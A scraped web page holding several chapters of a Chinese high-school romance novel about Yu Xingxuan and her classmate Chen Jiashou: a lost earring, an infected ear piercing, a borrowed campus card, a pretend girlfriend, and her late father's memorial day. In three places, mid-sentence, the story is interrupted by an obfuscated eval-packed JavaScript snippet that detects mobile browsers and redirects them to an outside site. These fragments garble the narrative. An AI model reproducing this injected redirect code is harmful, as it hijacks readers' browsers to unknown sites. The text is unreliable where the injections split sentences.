“你还好意思问我。”陈嘉授撩起眼皮,没什么好气地说,“她的耳钉,为什么会在我笔袋里?” 沈林风恍然大悟:“所以你是趁刚才发材料……不是,老王还在班里呢,你要还她不能挑个别的时间?” “……还是说,你故意的?就想让她被发现?” 陈嘉授没说话,沈林风就知道那是他默认了。 “你跟人家什么仇什么怨,为什么要针对她,就因为她帮别人给你塞纸条?”沈林风有些怀疑人生,“虽然你一直不喜欢她们打扰你,但以前也没见你这么小心眼啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818978|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈嘉授眉眼漆黑,敛起来时有些深藏不露,难以被人看出他的情绪,以及真实的意图。 表情也像是并不在意。 “她既然敢打耳洞,就应该知道可能会被发现。” “话也不能这么说吧,谁没干过点儿违反规定的事。况且她人挺好的,军训那会儿还帮过我。” 陈嘉授写作业的手一顿。 视线透过教室走廊侧的窗户,瞥了眼走廊上那个女生的身影。 老王表情严肃,而她背对着教室,只能看到有些凌乱的发梢搭在肩膀上,脊背笔直而隐忍。让陈嘉授莫名想起,昨天她站在他面前时的表情。 挨训还扬着头,仿佛很难被驯服。 - 王世富跟喻星旋了解了下情况,全程都没有责备她。听她说是因为气不过邱主任针对她一个人的做法,还给她出了个主意。 “邱主任这人双标,只对成绩好的同学有笑脸,他现在还不认识你,但过段时间咱们年级要办开学典礼,你上台领奖的时候,就故意到他面前晃,他肯定对你笑脸相迎。这样算不算是出口恶气?” 喻星旋想象了一下那个场面,忍不住笑:“谢谢老师,我知道了。” 这件事暂且告一段落。喻星旋从老王手中拿回耳钉,放到了铅笔盒里,决定不再戴了。 如果反抗还不能光明正大,只敢偷偷摸摸,那就不是合理有效的反抗,只是单方面发泄情绪。 只是喻星旋没想到,第二天中午,她去食堂吃午饭时,居然还能听见对这件事的议论。 是二班的两个男生,一个叫王辑,另一个叫宋朗浩,似乎都是那天跟陈嘉授一起打球的人。 想到陈嘉授,喻星旋蓦地咬紧了筷子。 她的耳钉怎么会突然出现在桌子上?唯一的可能,就是陈嘉授趁发材料那会儿放上去的。 他捡到了她的耳钉,偏选在老王在教室的时候还,放在那里也不提醒。 简直就像是蓄意报复。而她根本不知道她哪里得罪了他。 两人的声音从她斜后桌传来。 王辑:“我还想问呢,咱们班那女学霸,昨天怎么突然被老王叫出去了。” 宋朗浩:“准没好事。那女的仗着自己成绩好就了不起,谁都瞧不上,我看她就欠个人收拾收拾。” 王辑调侃道:“哟,咋回事,你平时不是最喜欢美女吗,喻星旋长这么漂亮,你居然说人坏话?别是被她拒绝过,急眼了。” 宋朗浩:“放屁,老子还就看不上她!” 喻星旋冷笑了声。 宋朗浩军训那会儿曾经对她死缠烂打,她实在被他骚扰得很烦,再加上李安蓝提醒她宋朗浩人品有问题,喻星旋就直接拉黑了他。 想不到宋朗浩居然记恨至今。 李安蓝还奇怪,她和宋朗浩是一个初中的,他还比她高一级,按说去年就该中考了,但却不知道为什么,今年才上高一。 斜后方,宋朗浩谄媚道:“再说她那成绩哪能跟授哥比,授哥,我支持你狠狠地把她踩在脚下。” 陈嘉授皱了皱眉,只觉得反感。餐盘里的饭菜还剩一半,但他忽然没了胃口。 他正待说点什么,忽然有个女生端着餐盘走到他旁边,打了声招呼,俏皮地问:“同学,请问你旁边有人吗,你不介意我坐在这儿吧?” 陈嘉授看了她一眼:“介意。” 女生悻悻地走了。 在嘈杂的环境中,喻星旋极为精准地捕捉到这声“介意”。 几乎是在同一秒,她就确定了,这道盛气凌人的冷冽嗓音来自陈嘉授。 而陈嘉授刚才全程都没出声,有一搭没一搭地听着他的跟班说她坏话,没表态。 喻星旋忽然很气闷,端起餐盘离开。刚起身就被过道上另一个人撞到。那人刚打好饭菜,急着占座,迅速坐在了她刚才的位置上。 喻星旋努力保持平衡,端稳了餐盘,但筷子却飞了出去,掉到地上,发出令人难堪的声音,咕噜咕噜地滚到了后面。 “对不起。” 撞到她的人站起来道歉,本想给她捡筷子,但筷子已经掉到了斜后方,如果要捡就得跨过一排椅子。 “没事,我自己来吧。” 喻星旋走过去,才发现四周桌子上都坐了人。 而且好巧不巧,她的筷子就掉在了陈嘉授脚边。 他的鞋子跟体育课那天还不一样,喻星旋对鞋的品牌了解不多,只觉得一看就很贵。 陈嘉授旁边的桌子倒是还空着。但她一句话都不想跟他说,一手抓住餐盘边缘,蹲下身,伸直手臂用指尖去够。 然而,有人比她先伸手探向那双筷子。 陈嘉授捡起筷子,直起身,搁在了她餐盘上,这才抬眼看清她是谁。 目光对视一秒。 刹那间,喻星旋视线转移到别处。 “你的?”他问。 7. 背影 . 陈嘉授的手在她视野中一晃而过。 他的手很好看,是男生那种修长且不失力度的漂亮,指甲修剪得整齐干净,肤色冷白,指节匀称,只有关节透着淡淡的粉红。 左手手腕上,还戴着喻星旋见过的手表和手串。其他人戴起来可能相当怪异,但戴在他手上却有种浑然天成。 意识到那张桌边不止有陈嘉授,王辑宋朗浩两个人都在盯着她看,喻星旋自觉她沉默的时间太久,不情愿地对陈嘉授说了声:“谢谢。” 说完,没听到陈嘉授的回复,她就匆匆往收餐处去。 宋朗浩看着陈嘉授的脸色,嗤笑一声:“我就说这女的傲吧,连授哥面子都不给。” 陈嘉授对他的反感已经达到顶峰,公共场合却又不好发作。 他抽了张纸巾擦手,不动声色站起来:“先走了,有点事。” 喻星旋去收餐处收拾餐盘,把筷子扔进专门的篮子里时,感觉指尖油腻腻的,才发现那上面沾了菜汤。 她想起刚才那一幕,心情忽然变得有点复杂。 她觉得一个绅士的人,应该不会故意爽约,或者故意让她当众难堪,被班主任带出去教育。 可说他人品很差,非常养尊处优的一双手,却主动把她掉在地上、不怎么干净的筷子捡起来。 陈嘉授究竟是什么样的人? 她好像有点不确定了。 周末在家,喻星旋偶尔想到他,却怎样都猜不透他那些行为的动机。 如果她愿意去打听一下,李安蓝她们应该会很乐意把陈嘉授的八卦和盘托出。 但内心深处,另一个骄傲的自己,却不允许她主动流露出对她讨厌的人的好奇。 - 周一返校日,喻星旋的情况好像有点糟糕。 因为这几天没戴耳钉,加上不小心碰到水,右耳的耳垂已经红肿起来,摸上去很热,并且耳洞还有往外渗血的趋势。 祝媛跟喻星旋奶奶住在同一个小区,她们每天早上都在小区门口见面,然后一起上学。 今天,祝媛看到她,就发觉她的脸色很不好。 “闪闪,怎么了?” “……我耳洞好像发炎了。” “怎么回事?天哪好严重,要不要陪你去趟医院看看?” “没事,还能撑。”喻星旋摇头,“上学要迟到了,我今天中午再去医院吧。” “那好吧。”祝媛在六班,二人在三楼的楼梯口分开前,祝媛忧心忡忡地说,“你有事就下楼找我哦。” 不知道是不是耳朵发炎的缘故,喻星旋撑过了一个早自习,第一节课时,她头晕得有点撑不住了。 她正想在课桌上趴一会儿,好巧不巧,英语老师点她起来回答问题。 喻星旋茫然地翻了翻试卷,李安蓝好像在提醒她哪题,但她实在没力气装模作样,索性直接承认:“抱歉老师,我刚才走神了。” 喻星旋学习态度一向端正,英语老师也不忍心说她什么:“坐下吧,下次注意。” 两节课后是大课间,喻星旋穿过大半个教室,走到门边最后一排,去找体委沈林风请假。 “沈林风,我今天不太舒服,课间跑操想在班里休息。” 沈林风愣了一下,随即露出恍然大悟的表情:“哦!没问题没问题,你明后天还请不?现在可以一块请了。” “……” 喻星旋明白他误会自己生理期,但也懒得纠正:“谢谢,我明天请假的话再跟你说。” 她不可避免地站在陈嘉授的桌边,他完全没注意来的人是谁,也不在乎她为什么请假,随口问沈林风一句:“你还得一会儿?” 沈林风:“你先走吧,我得去给老白送个东西。” 陈嘉授点点头,站起身来,不在意地越过她。 喻星旋晕晕沉沉,顾不上其他,请过假后就回去趴在了自己桌上。 教室里已经彻底空了,操场上跑步的音乐远远地传来。她从书包里拿上钱包,去了楼下超市。 喻星旋在靠里的货架上翻找了一会儿,没有找到她想买的碘酒和棉签。 这时,跑操结束了,各班解散,许多人涌进超市买水。隔着几排货架,几个高大的男生有说有笑地进来,有几道身影似乎有些眼熟。 沈林风走向靠内侧的饮料柜,拿出几瓶冰饮。忽然看到蹲在地上的女生:“喻星旋?你怎么在这。” “来买东西。” “刚好你也在,想喝什么饮料快拿。”沈林风说,“反正阿授请。” 沈林风对喻星旋很热情。军训他不小心扭了脚,疼得龇牙咧嘴。喻星旋恰好路过,把自己刚买还没来得及拆封的雪糕送给他冷敷。 从那以后,沈林风就跟她自来熟上了。 喻星旋抬眼,看到陈嘉授正站在柜台附近,手里没有拿水,应该是在等他们结账。 她想起十几分钟前陈嘉授的冷漠,勉强地摇头,说:“不用了,谢谢。” “对了,你今天身体不舒服,今天跑操还跟我请假了。”沈林风跟她一起蹲下,自告奋勇地说,“你要买什么,我帮你一起找吧。” “我想买碘酒和棉签。” “啊?你买那个干嘛?” 这时,一道沉稳清冽的男声忽然从上方传来:“这里没有,你得去校医院。” 听出是谁,喻星旋并不是很想理他,站起身来。 这条过道狭窄,陈嘉授一站过来,去路就被他堵住了。 她低着头说:“让一下。” 陈嘉授像没听见:“你怎么了?” 喻星旋没说话,将头发往后撩起,露出发炎的右边耳朵。 这动作带了点埋怨的意思。 女生耳廓莹白,也因此红肿出血的耳垂就越显触目惊心。 陈嘉授收回视线:“学校不允许佩戴饰品,以后别在学校戴了。” 喻星旋含混地点了点头,从他身边的缝隙里钻过去。 上次去陈自钧家祝寿,陈嘉授见到小姨家的表姐,她正跟几个小姐妹抱怨耳坠太沉,不小心把耳洞撑坏了,只能去做修复手术。 “等一下。”陈嘉授叫住她,“你的耳洞打得太低,不要戴很重的耳饰,否则会豁开。” 几个朋友在收银台等他结账,陈嘉授在机器上刷了一下校园卡,“滴”的一声,他忽然想起什么,步伐加快,追上已经出门的女生:“校医院拿药要登记,你带没带校园卡?” 喻星旋摸了摸校服口袋:“……没带。” 一张卡被递到面前。 陈嘉授:“先用我的。” 喻星旋迟疑了片刻,没有伸手:“不了吧。” “下节班主任的课。” 这时,沈林风和他那几个外班的朋友朝这边过来:“走了阿授,还杵着干嘛?” 不给她拒绝的机会,陈嘉授跟上他们,经过她的瞬间,把校园卡塞进了她的校服口袋里。 仿佛只是顺手,可含义又有点强硬。 喻星旋还没反应过来,听到他撂下一句提醒:“还有十分钟,注意时间。” “……” 喻星旋抬起头,只看到陈嘉授被人簇拥的背影。 有个大嗓门的朋友正在揶揄他:“想不到你是这样的陈嘉授,见了美女就忘了朋友,催了你好几声,你怎么才听见?” 陈嘉授:“你有病?” 那朋友似乎做了个嘴拉拉链的动作:“错了错了,我懂……” 可后面的话,喻星旋离得太远了没再听到。 校园卡的一角硌着她的手心。喻星旋暂时收起好奇,缓慢走向校医院。 后知后觉地,心底荡起一丝异样。 挂号拿药,递出校园卡时,喻星旋看了一眼卡面上陈嘉授的照片,皱了皱眉。 怎么有人的校园卡照片能这么上相的。 喻星旋给耳朵上了药。因为不想引起人注意,上午放学之前,她趁课间陈嘉授出门,把他的校园卡和十块钱一起放在他桌上。 回去的时候路过门口,老王叫住喻星旋,提醒她下午最后一节自习前记得去办公室抱作业。 中午放学时,喻星旋状态已经好了很多,头也不晕了,祝媛陪她去了学校附近的社区医院,处理伤口,开了消炎药,还一起在学府路上吃了米线。 医生嘱咐说她最近要吃清淡点,喻星旋面前摆着鸡汤米线,只能看着祝媛碗里的麻辣米线眼馋。 捕捉到她有些哀怨的眼神,祝媛:“怎么了?” “没什么,就是觉得最近遇到了水逆。” 自从打了耳洞以来,全世界好像都在跟她对着干。 “或许你应该求助一些玄学?”祝媛建议她,“咱们学校后面的雁平山上有个文曲庙,听说还愿很灵的。” 喻星旋摇摇头:“还是算了吧,我不信这个。” 下午自习课前,喻星旋去物理办公室,把班里的作业本和今晚的物理作业一并拿上。 一转身,她跟身后的人撞了个满怀。 对方的手背稳稳托住她的手腕,另一只手把倾斜的作业本扶正。 温热的皮肤一触即离,喻星旋垂下眼,快速忽略掉触觉。 虽然身高只到他肩膀,但凭着校服下的肩部线条,喻星旋瞬间认出了是谁。 陈嘉授:“老师,同学说您叫我过来一趟?” “啊,对对。”老王说,“今年开学典礼的新生代表还没确定,往年惯例都是市状元发言,所以叫你过来听听你的想法。” 老王留给他反应的时间,又叫住喻星旋:“课代表,你先别急着走,让他帮你一起抱作业。” 喻星旋睫毛颤了颤,本该走出去的步伐收回来了。 因为她也想听听陈嘉授会怎么答复。 潜意识里,她觉得陈嘉授是一个,虽然不会主动争取,但也很乐意在众人面前出风头的人。 喻星旋常常喜欢对一件事事先做出预测,她的直觉一般都很准,在事情按照她的预想发展时,她会产生一种极大的满足,“看,我就说吧,果然如此”。 但这次却让喻星旋失望了。无论老王怎样力劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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喻星旋双手插在校服口袋里,表情平静,唇角有点想上扬,但还是忍住了:“应该的,早上谢谢。” 走出办公楼,在回教学楼的路上,许多人跟陈嘉授打招呼,他一一应了。 有个朋友想要把他拉到一边说事,陈嘉授摇摇手婉拒:“晚点再说,我先抱作业回去。” “你什么时候成物理课代表了?” 喻星旋忍不住抬头,看到陈嘉授冲她的方向抬了抬下颏:“帮人。” 他们一路回到四楼的教室,陈嘉授把作业本和试卷放在讲台上,没再说话,只点头示意了下。 喻星旋发完作业回到位置上,李安蓝有些激动:“喻星旋,你什么时候跟班长混这么熟了?” “……不熟啊。” “早上我看到你去还他的校园卡,现在他又帮你抱作业。” “早上是因为我买东西没带钱,抱作业是老王要求的。” “这样吗……” 李安蓝觉得陈嘉授挺乐于助人的,大家请教他问题他都解答得很耐心,不过,他主动帮不熟悉的同学,这还是她第一次听说。 但同桌这段时间以来,她也知道喻星旋跟她们不一样,对陈嘉授的各种八卦完全无感,她应该完全不至于骗她。 李安蓝挑了挑眉,觉得这事儿好像有点稀奇。 - 或许是抱作业的那天发现了陈嘉授的一点反差,接下来的一周,喻星旋总是下意识地观察他。 没有比集体活动更不露痕迹的机会。喻星旋开始期待每天上午大课间的跑操,散场时,她故意放慢脚步,等待陈嘉授从她身边经过。他肩宽腿长,裤管空荡,脚上几乎没出现过重复的球鞋,背影自带赏心悦目。 喻星旋觉得,她应该不是唯一一个观察他背影的人。 周三的体育课,喻星旋在球场边默背英语单词,偶尔抬头看向场内。 那天天气很好,她有点希望这一刻永久拉长,仿佛悠长的夏日还没过去。 伴随体育老师吹响下课的哨声,橙红的篮球从他手中掷出,一个三分球稳稳地落入篮筐。 有女生上去给他送水,看到他全部拒绝,喻星旋心底居然闪过一丝如释重负。 她细致地体会着这从未有过的感受,但并不想上前,也不想承认,只是每天枯燥的学习生活之余,多了一份定时抽取的惊喜。 这样的状态,一直延续到周五下午放学。 喻星旋写下英语七选五的最后一个选项后,一抬头,教室里已经空无一人。 最后一个离班的要锁好门窗。喻星旋不确定今天的值日生走没走,到教室后面看了看这周五的值日轮次表。发现今天值日的是陈嘉授和沈林风。 后门边的位置上,陈嘉授和沈林风的书包都还在,只是人没在班里。 这个时间,可能去楼下打水了。 喻星旋背上书包,离开教室时顺手把门带上。 转过身,她这才发现二班门外的走廊上,并不只有她一个人。 走廊的窗边,还站着一个长相甜美的女生。 她长得有点像是日本漫画书里的少女,涂着草莓色的唇蜜,笑起来也很甜,栗棕色的长发打着卷垂下,一侧的头发别在耳后。 喻星旋的心忽然莫名跳了跳。 不是因为别的。 而是因为,她露出来的那只耳朵上,坠着一枚明显的樱桃耳钉。 8. 女朋友 . 陈嘉授并不在,奇怪的是,喻星旋的心跳却比以往任何一次都要剧烈。 喻星旋直挺挺地转身,尽量不在意地,平静地从女生身上移开视线,向最近的楼梯走去。 但她就连退场都不顺利。一见她要走,女生有些急切地叫住她:“哎,同学,你看见沈林风和陈嘉授了没?” 喻星旋摇头。 她从来不是话多的人,更遑论主动对陌生人解释。可是此时此刻,只是不想让她的沉默被当做冷漠或是敌意,再经由面前女生的口传递到陈嘉授耳朵里,她一反常态地主动对她透露了更多的信息:“他们是今天的值日生,最后一个才走。” “好吧,那我就在这里等他们。”女生对她甜甜一笑,脸颊旋出两个酒窝,“谢谢你啊同学。” 喻星旋抿唇点了点头,抬步正要离开,一转身,沈林风就与陈嘉授一前一后地从远处走来。 沈林风提着装满水的水桶,远远地喊她:“喻星旋,先别锁门啊,我们值日还没做完呢。” 而后他走到女生面前:“哎呦,怎么是你啊,哪阵风把您给吹来了?” 女生嗔怒,捶了他一拳:“你什么意思?我不能来啊。” 她不是来找陈嘉授的吗?喻星旋忽然有点弄不太清当前的状况。 然而她心里紧绷的弦还没放松几秒,就又被女生的举动重新扯住两端。 女生清脆地叫了声“阿授”,一路小跑跑向陈嘉授身边:“果然是重点高中,你都不知道我混进你们学校多不容易……” 沈林风催她:“姑奶奶,你又来捣什么乱,看不到正忙着,能不能等我们干完值日再聊啊?” 喻星旋忽然很想问问沈林风她和陈嘉授是什么关系,可现在,又好像没必要再问了。 同是女生,只是听见那声“阿授”,就足够人明白,陈嘉授和沈林风对她而言是不同的。 怕再待下去看到她不想看到的画面,喻星旋匆匆跟沈林风说了声:“我先走了。” 路过陈嘉授身边,喻星旋心跳忽然慢了半拍。 她听到陈嘉授对女生开了口,似乎有些冷漠和不耐,好像对她的出现并不欢迎。 “你来干什么。” 究竟是吵过架,还是单纯不想看到她? 但喻星旋已经没机会再回头看了。 周五放学后的校园很空旷。 喻星旋走出教学楼,仰头看向四楼高一(2)班的方向,脖子仰酸了也没有看到人。 可就这么回家,她又不甘心。 路过某个班级的车棚时,喻星旋忽然想到,陈嘉授和沈林风平时骑车上下学。 如果她现在去学校超市买一罐柠檬茶,再折返回主路上,中间会顺理成章地经过二班的车棚。 她估计他们做值日应该不会那么快结束,所以步伐很慢,想借此拖延时间。 而等她买了饮料返回路过车棚时,却发现他们班的区域已经空了。 喻星旋脚步加快,几乎是奔跑起来。 她从花圃抄近路到学校的主干道上,看清三个走向校门口的身影,一瞬间,她的身体像被定格在原地: 女生摘下她挂着雪莉玫和达菲熊的粉色书包,往沈林风手里塞,沈林风越是拒绝,女生就非要塞给他。 直到最后,那个粉色书包到了陈嘉授手里。 …… 仿佛尘埃落定,他接过去的那一刻,她心里的疑问就写下了答案。 就算不是单独相处,也没有什么亲密过甚的举动,但她就是知道。 三个人的身影已经彻底消失在校门口,喻星旋依旧站在那里出神。 脑海中的画面,是在学校超市,她拿起陈嘉授的校园卡时,居然有一瞬间的晃神。 喻星旋闭上眼睛,为那片刻的动摇觉得羞恼,强行终止思绪进一步发散。 她本来以为,一个姿态傲慢、眼神清高的男生,至少,也要有一份不为美色所动的坚持。 但是现在看来,陈嘉授跟那些喜欢漂亮女生的人,根本就没什么不同。 … 十分钟前。 陈嘉授提着干净的拖把回去,看到教室外的沈艺棠时,只觉得头疼。 同时他也有些意外。沈艺棠从半个月前开始一直躲着他,也不知道现在怎么忽然改变了主意。 他正应付着沈艺棠时,喻星旋忽然从身边经过。他下意识将拖把拿远些,避免滴落的水溅到她身上。 她书包链没拉。 陈嘉授刚想提醒她一声,但喻星旋好像没注意到他,目不斜视地走向他身后的楼梯。 陈嘉授收回视线,这才问了她的来意。 “你猜我前几天看到了谁?” 沈艺棠卖了半天关子,直到他们做完值日,三人去车棚取车往学校外走,这才说:“是薛虹,我上写生课的时候路过她家附近,见到她妈妈了。她说薛虹最近……情况不是很好。” 沈林风:“啊?她不是痊愈了吗?” “她最近又住院了,我这次来找你们也是为了这个。”沈艺棠飞快地看了眼陈嘉授线条立体的侧脸,“她妈妈问我,我们能不能再帮帮她……像我们之前那样。” “阿授,你愿意吗?” “人各有命,她的病不是我造成的,我们已经对她仁至义尽了。” “但我都答应她了,明天……” “她现在最该做的是换个精神科医生。”陈嘉授皱眉,“我跟你假扮情侣去刺激她脱敏,你不觉得这疗法听起来相当傻逼吗?” “但暑假确实有效果啊,她不是都出院了吗?” “但她现在又住院了,说明效果有限。况且作为朋友,让你扮演这个角色,其实对你也很不公平。” 沈艺棠小声嘀咕:“我没觉得不公平。” 陈嘉授假装听不见:“你回去转告薛虹妈妈,我们以后不会再陪她女儿演戏了。” 沈艺棠怎么会不知道,他说这些好听话,只是为了把她甩开。 她心里不好受,无理取闹地推了推堂哥:“哥,帮我背包。” 沈林风和沈艺棠从小打到大,贱嗖嗖地拒绝:“我不,看不见我这儿正推车吗,你让你男朋友给你背。” “我就想让你给我背!” 陈嘉授耳边充斥着两个人没营养的斗嘴,心里烦得不行。 暑假薛虹出院之后,他们就没有再配合她的医生帮她治疗的理由,自然也不用再跟沈艺棠假扮情侣。 但每次一说到正事,沈艺棠就转移话题,任由别人误会,还躲着不肯见他。 而且那之后没多久,高中军训开学,他暂时顾不上沈艺棠,也就一直拖到现在。 陈嘉授直接伸手拿过沈艺棠的书包,顿住脚步,让她不得不停下听他说话。 “我刚才说的你听到了?” “我保证,这是最后一次了好不好?” 沈林风在心底为堂妹叹了口气,不忍心地劝:“授,要不你就答应她吧,明天我跟你们一起去。” 陈嘉授思考了片刻,微点了下头,把书包还给她。 - 当天晚上。 喻星旋自虐一般逼自己做完了所有周末作业,握着笔,望着面前摊开的草稿纸。 回过神来时,写满方程式的纸上,多了一个陈嘉授的名字。 “……” 她不知道自己究竟是怎么了,一闭上眼睛,眼前就是傍晚陈嘉授接过女生书包的那一幕。 有一种世界观轰然崩塌的感觉。 她刚关注了他没几天,就亲眼看到了他女朋友。 她是谁,他们在一起多久了,喻星旋一无所知。 她所在意的只有一件事。 原来那天,他会知道她耳洞打得低,提醒她不要戴太重的耳饰,是因为他女朋友也戴耳钉。 比起他有女朋友,喻星旋更不想承认,那个对他印象转变的时机,其实是她自作多情。 不过幸好,这么短的时间,她也不至于喜欢上他。 喻星旋强迫自己去想点别的东西。 桌上摆着一台小小的台历,明天的日期上,用黑笔画了个小小的圆圈。 她望着那个前几天画上去的圆圈,眼睛忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818980|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点发酸。 差点忘了,明天是爸爸的忌日。 喻星旋从来没见过爸爸。她对他的全部了解,来自于家里为数不多的老照片,和奶奶告诉她的爸爸当年的故事。 那年,爸爸跟其他人民子弟兵赶赴抗洪救灾的现场。为了救一个被洪水吞没的群众,他纵身跳进滚滚江流。 因为出任务走得急,他牺牲的时候,甚至不知道妻子已经有了他们的女儿。 很难形容她对爸爸的感情。 一半是对英雄的仰慕和敬佩,一半是因为心疼奶奶白发人送黑发人。 但爸爸对她来说,是个从来没有参与进她的生活的陌生人,她始终像在听别人的故事。也没法像奶奶和妈妈那样,每次提到他就要落下泪来。 每年爸爸的祭日,喻星旋都会跟奶奶去墓前看望他,年年不落。 奶奶低声地呢喃着什么,眼角有闪烁的泪光。 “爸。” 喻星旋把一束白菊放在墓碑前,望着有些阴沉的天色出神,“如果再来一次,你还会选择救人吗?” 但她听不到他的答案了。 墓碑的照片上,年轻英俊的男人仿佛跟她对视着,他的生命永远定格在了那时候。 “闪闪。” “哎,奶奶。” “不早了,我们回家吧。” 喻星旋搀着奶奶的胳膊,把她从地上扶起:“好。” 她情绪低落的表现很明显。走出烈士陵园的路上,有个小学班级正组织学生们来参观拍照。刘素平问她:“闪闪,你最近怎么不爱去拍照了?” “啊。”喻星旋心不在焉,但还是笑了笑,“奶奶,开学了比较忙,我有空会去的。” “你那台相机是不是也旧了?” 喻星旋护送着奶奶上公交车,听到她问,随口答道:“相机不重要,有镜头就够了。” 她的镜头也是那几个来回用,都是用妈妈打给她的生活费买的。 喻星旋的爷爷是长南第一批建筑师,长南许多上世纪的建筑都有他的心血。 喻星旋人生中的第一台相机也是爷爷留给她。虽然已经旧得开不了机,她还是舍不得丢。 - 喻星旋和奶奶到家,意外在家门外看到了祝媛。 “奶奶好,我来找闪闪!” “媛媛来了?快进家里坐,奶奶给你们做好吃的。” “太好啦,谢谢奶奶。” 去了喻星旋房间,祝媛这才兴师问罪:“喻闪闪!我给你打了一上午电话,你怎么都不接!” “早上跟奶奶去看我爸了,没带手机。” “……”祝媛瞬间想打自己一巴掌,“对不起哦。” “没事,对了,你找我什么事?” “一看你就忘了,咱们上周约好今天帮我拍生活照的。”祝媛小心地观察了一会儿喻星旋,“要不还是改天吧,你应该好好休息。” 祝媛打算竞选学校广播站,也不知道怎么,一个校级活动搞得跟选秀似的,报名还要交一组生活照上去。 祝媛的竞争对手是一群高二的学长学姐,因此一个环节都不能掉以轻心。 “我真的没事,别担心。”喻星旋安慰地笑笑,“但今天天气不太好,室外肯定拍不成了,我们得换个地方。” 祝媛提议:“我家楼下的姐姐在咱们学校附近开了个书吧,ins风的装修特别出片,下午我们不如去那儿拍吧,正好请你喝饮料。” “好啊。” 喻星旋也觉得这提议不错。她的镜头放在衣柜里,打开柜子,准备下午拍照要用的东西。 忽然听到祝媛语气深沉问她:“喻闪闪,你是不是有事瞒着我?” “……” 喻星旋一回头,就看到祝媛坐在她桌前,桌上是昨晚写完的作业。 那堆试卷里,夹着一张露出一角的草稿纸。 喻星旋心下咯噔一声。 余光瞥见那堆试卷里夹着的、露出一角的草稿纸。 前一晚,她在草稿纸上写了陈嘉授的名字。 ……而且,还忘了划掉。 9. 不要 . 喻星旋底气不足地解释:“我那是……” 祝媛打断她,眼睛圆睁,表情有些怀疑人生:“喻星旋你还是人吗?你早上都没在家,周末作业你昨晚就做完了?” “……” 原来她没看到。 喻星旋的心这才落了地,迅速走过去把那张草稿纸抽走,扯了个谎:“我昨晚是因为睡不着。” 祝媛沮丧地往桌上一趴:“怪不得你成绩这么变态。我睡不着都玩手机,什么时候我睡不着也能爬起来写作业,我妈也就不会再唠叨我了。” 中午,吃完刘素平做的拿手好菜,喻星旋跟她说,下午要跟祝媛出去拍照。 老太太高兴她愿意出门:“那你们就去玩吧,媛媛,你也带她散散心。” “没问题奶奶,我保证让她开开心心地回来!” 书吧的老板姓黄,比她们大不了多少,她家里不缺钱,出来开店纯属想给自己找点事干,加上给朋友找个方便聚会的地方。 店里的装修也很有品味,低饱和的原木风。喻星旋给祝媛拍完照后,就举着相机拍起了书吧的角角落落。 今天店主也在店里,看到喻星旋拍的照片,眼前一亮。 “妹妹,我能买你这组照片做宣传照吗?” 喻星旋拍照水平被人认可,已经心满意足了,摇头说:“不用,你想要我可以传给你。” 黄晓婷收到照片,心里过意不去:“那我请你们吃下午茶吧。” 祝媛吃着小蛋糕满眼感动:“闪闪,想不到我居然又沾你的光了!” 她的相机搁在桌子上,黄晓婷路过时无意间注意到:“你的相机镜头也挺旧了,用很久了吧?” “我这里还缺几个周五下午和晚上的小时工,你们想不想来?” 祝媛倒是想去,但她周末经常要回乡下奶奶家,周五下午就要走。她推了推喻星旋:“你去吧。” “谢谢姐姐,不过我暂时不想做兼职。” 黄晓婷有些意外,但她也没说什么,告诉她们改变主意了可以再来店里找她。 “晓婷姐家可有钱了,闪闪你真笨,天上撒钱你都不要。” 喻星旋和祝媛在外面吃完晚饭回家,祝媛一副恨铁不成钢的表情:“你不想换镜头了吗?” “其实我攒的钱是够的。”喻星旋顿了顿,“但就是没那么想要。” 不仅是镜头,她又想起了一些其他的事情:“我好像从来没有想要主动争取的东西,总是觉得,有也可以,但没有也行。” 她怕。 怕拥有了之后才发现不够好,也怕拥有了之后再失去。 喻星旋回家之后,打开房间的灯,看清书桌上摆着的盒子时,险些怀疑自己看错了。 居然是暑假才上市的一款新镜头。 她也就一个月前才跟奶奶提过一次,没想到她下午趁她不在家,居然买了回来。 喻星旋眼睛热热的。 奶奶不懂用相机,什么型号参数,她一概不了解。不知道要跟店员比划多久,才能准确地买到。 她明白奶奶是为了哄她开心,但是她也没法心安理得地收下这份沉甸甸的礼物。 她决定赚点零用钱,一点点把镜头的钱省回来。 喻星旋给祝媛打了一个电话,打算正式接下书吧那份兼职。 - 周一返校,早自习。 假期刚过去,班里没精打采,一片萎靡。仅有的几个坐直的人,都在加紧补作业。 李安蓝急匆匆地从外面跑进来,气还没喘匀,一坐下,就带来了一条爆炸性新闻:“上周五,有人看到了陈嘉授跟他女朋友!” 喻星旋在背课文,手指卷着课本边角,翻页的手一颤。 怎么一个周末过去,就有人已经知道了。 而且。 上周五下午女生来她们班上时,班里只有她一个人。 这事如果传到陈嘉授那里去,他们不会觉得是她宣扬出去的吧。 喻星旋顷刻间坐立难安起来。 “什么什么?”商芝琳扔下课本,急急转头,“陈嘉授的女朋友?他怎么会有女朋友?” “也不确定是不是啦,但他们上周五确实是一起走的。”李安蓝摸了摸下巴,“你什么时候见过陈嘉授跟其他女生走在一起?而且他身边的朋友都没有女生。” 